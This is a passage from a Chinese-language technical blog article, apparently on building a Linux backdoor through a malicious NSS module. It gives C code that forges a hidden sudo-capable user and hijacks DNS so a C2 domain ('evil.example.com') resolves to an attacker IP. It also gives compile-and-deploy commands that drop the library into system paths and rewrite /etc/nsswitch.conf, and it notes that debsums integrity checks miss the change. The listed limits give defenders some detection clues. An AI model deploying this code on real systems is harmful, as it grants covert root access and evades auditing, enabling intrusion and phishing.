result-&gt;sp_warn = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_inact = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_expire = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_flag = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">关键变化：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">UID 从 0 改为 1002</span></strong><span leaf="">：绕过 sshd 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">PermitRootLogin</span></code><span leaf=""> 限制</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups_dyn</span></code><span leaf=""> 返回 GID 27（sudo 组）</span></strong><span leaf="">：登录后可直接 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf=""> 提权到 root</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">home 目录改为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/home/backdoor</span></code></strong><span leaf="">：避免与 root 的 home 目录冲突</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">编译、部署、测试：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c</span><span leaf=""><br/></span><span leaf="">cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/</span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^passwd:.*/passwd: files systemd nop/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^group:.*/group: files systemd nop/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^shadow:.*/shadow: files systemd nop/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">验证：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">id backdoor</span><span leaf=""><br/></span><span leaf="">ssh backdoor@127.0.0.1 </span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># password: yourpassword</span></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6259259259259259" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019429" src="https://wechat2rss.xlab.app/img-proxy/?k=514b4017&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YiaJn4dcqyg1icqDd1ZibhFrvl6Kj788nPwrQuaiasCjsficI23zQnR8EBDuKBvr1BnUibqMuzWBaoFy1e00rT3Zgsrqqvl5BHpZPLic8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6185185185185185" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019432" src="https://wechat2rss.xlab.app/img-proxy/?k=90668a7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YjrOyev2icgpmc2HDZs86nDKJpRmP1h1icRcen5sng9gTcpVpUahByQedzWib8XMQLBFCZ4jAm8JsGhAiaw3F5Mibjg9pEzWXRRdb3Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">成功完成后门账户</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">整个过程</span><strong style="font-weight: bold;color: black;"><span leaf="">不需要修改任何系统文件</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/shadow</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/sudoers</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sshd_config</span></code><span leaf=""> 均未改动），仅通过 NSS 模块就完成了用户创建、认证和提权。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">注意：GID 27 是 Ubuntu 上 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf=""> 组的默认值，可通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent group sudo</span></code><span leaf=""> 确认。不同发行版可能不同（如 CentOS/RHEL 为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">wheel</span></code><span leaf=""> 组，GID 通常为 10）。</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.3 后门模块：劫持 hosts 解析</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">除了伪造用户，NSS 后门还可以劫持主机名解析。这对于 DNS 欺骗、钓鱼攻击、C2 通信重定向非常有用。</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;netdb.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;arpa/inet.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> C2_DOMAIN </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;evil.example.com&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> C2_IP     </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;10.0.0.1&#34;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_gethostbyname_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                          struct hostent *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *h_errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, C2_DOMAIN) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span leaf="">        *h_errnop = NETDB_INTERNAL;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">in_addr</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">addr</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span leaf="">    inet_pton(AF_INET, C2_IP, &amp;addr);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, C2_DOMAIN) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_aliases = (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> **)p;</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_aliases[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    p += </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_addrtype = AF_INET;</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_length = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(struct in_addr);</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_addr_list = (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> **)p;</span><span leaf=""><br/></span><span leaf="">    p += </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(p, &amp;addr, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(struct in_addr));</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_addr_list[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = p;</span><span leaf=""><br/></span><span leaf="">    result-&gt;h_addr_list[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_gethostbyname2_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> af,</span><span leaf=""><br/></span><span leaf="">                           struct hostent *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *h_errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (af != AF_INET)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> _nss_nop_gethostbyname_r(name, result, buffer, buflen, errnop, h_errnop);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">部署：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^hosts:.*/hosts: files nop dns/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">验证：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ping evil.example.com</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5407407407407407" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019430" src="https://wechat2rss.xlab.app/img-proxy/?k=e968fe7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YhPbVFiaF4PFftkFicmEQmugdQaSRhicv2n2dlIibBE5WqTCpicOuu4NpbTWNs5bLKRNibN3wmFhEoNibPwa1j488N5GpqzvqfWg6wwvI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.4 debsums 检测</span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo debsums -a -c</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20925925925925926" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019428" src="https://wechat2rss.xlab.app/img-proxy/?k=23ceaea4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6Yja5ogNmA9JqBOJgx5bibeaVMGVbhsJBRiaMFrMYnZmL6Y9bbia1tU5kwvnKsDZ37BJj9grwYD4susKc2GGJe6jt5WmQC3j7bb8H8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums -a -c</span></code><strong style="font-weight: bold;color: black;"><span leaf="">没有报告任何 nsswitch.conf 的异常</span></strong><span leaf="">。这是因为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 只校验包管理器已知的文件，而：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code><span leaf=""> 不属于任何软件包（它是系统安装时从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/share/libc-bin/nsswitch.conf</span></code><span leaf=""> 模板复制出来的用户配置文件），</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 根本不校验它</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_nop.so.2</span></code><span leaf=""> 是手动放置的新文件，不属于任何包，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 也不知道它的存在</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">因此，0x04 方式对 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debsums</span></code><span leaf=""> 完全透明。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.5 方式总结与局限</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">优势：</span></strong></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">优势</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">无需修改系统文件</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">不改 </span><code><span leaf="">/etc/passwd</span></code><span leaf="">、</span><code><span leaf="">/etc/shadow</span></code><span leaf="">，审计这些文件不会发现异常</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">配置热加载</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">修改 </span><code><span leaf="">nsswitch.conf</span></code><span leaf=""> 后无需重启进程，立即生效</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">精确控制</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">只在 </span><code><span leaf="">files</span></code><span leaf=""> 找不到时才触发，不影响合法用户</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">多数据库覆盖</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">可同时控制 passwd、group、shadow、hosts 等</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">局限：</span></strong></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">局限</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">需要修改 </span><code><span leaf="">nsswitch.conf</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">这是明显的痕迹，有经验的管理员检查配置即可发现</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">需要部署 </span><code><span leaf="">.so</span></code><span leaf=""> 文件</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">在系统库目录中多出一个 </span><code><span 